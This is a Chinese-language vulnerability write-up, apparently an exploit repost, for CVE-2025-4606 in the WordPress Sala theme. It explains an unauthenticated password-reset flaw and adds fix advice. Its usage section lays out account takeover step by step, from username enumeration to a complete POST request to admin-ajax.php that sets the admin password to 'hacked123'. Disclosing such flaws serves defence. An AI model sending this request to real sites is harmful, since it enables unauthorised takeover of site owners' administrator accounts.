CVE-2025-4606- WordPress Sala 主题 <= 1.1.4 - 未认证权限提升（通过密码重置/账户接管）

🔥 漏洞概述
WordPress 主题 Sala 版本 <= 1.1.4 存在一个未认证权限提升漏洞。该缺陷允许未认证攻击者通过直接调用暴露的 AJAX 端点（无需验证请求者身份）来重置任意用户（包括管理员）的密码。

该漏洞源于注册在 wp_ajax_nopriv_ 下的 change_password_ajax 函数，该函数会为任何有效的用户登录名设置新密码，而不检查请求是否经过授权。

🔍 受影响的主题

• 主题名称: Sala – Startup & SaaS WordPress 主题
• 受影响版本: <= 1.1.4
• 漏洞类型: 未认证权限提升
• CVE 编号: CVE-2025-4606
• CVSS 评分: 9.8（严重）
• 影响: 完全账户接管（包括管理员）

🧪 漏洞利用特点

• 🔓 无需认证
• 🔄 通过提供有效的登录名覆盖任意用户的密码
• 📬 攻击目标为 AJAX 端点 /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 攻击者只要知道有效用户名（例如 admin），即可立即生效

🧠 研究人员

• 致谢: Thai An

🚀 使用方法

1. 识别目标 WordPress 站点上的有效用户名。可以通过以下方式实现：

   • 公开的作者归档 URL（/author/username）

2. 构造以下 POST 请求以重置用户密码：

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. 如果成功，你现在可以使用新密码（上例中的 hacked123）以目标用户身份登录。

4. 访问 /wp-login.php 并验证访问权限。

🛠 修复建议

• 主题开发者应移除或加固 wp_ajax_nopriv_change_password_ajax 钩子。
• 在允许敏感操作之前，始终检查 is_user_logged_in() 并验证用户身份。
• 实施 nonce 检查以防止 CSRF 和未认证滥用。

🔒 免责声明:
本信息仅供教育和授权渗透测试使用。未经授权利用系统是非法且不道德的行为。

📚 参考:

• Wordfence 公告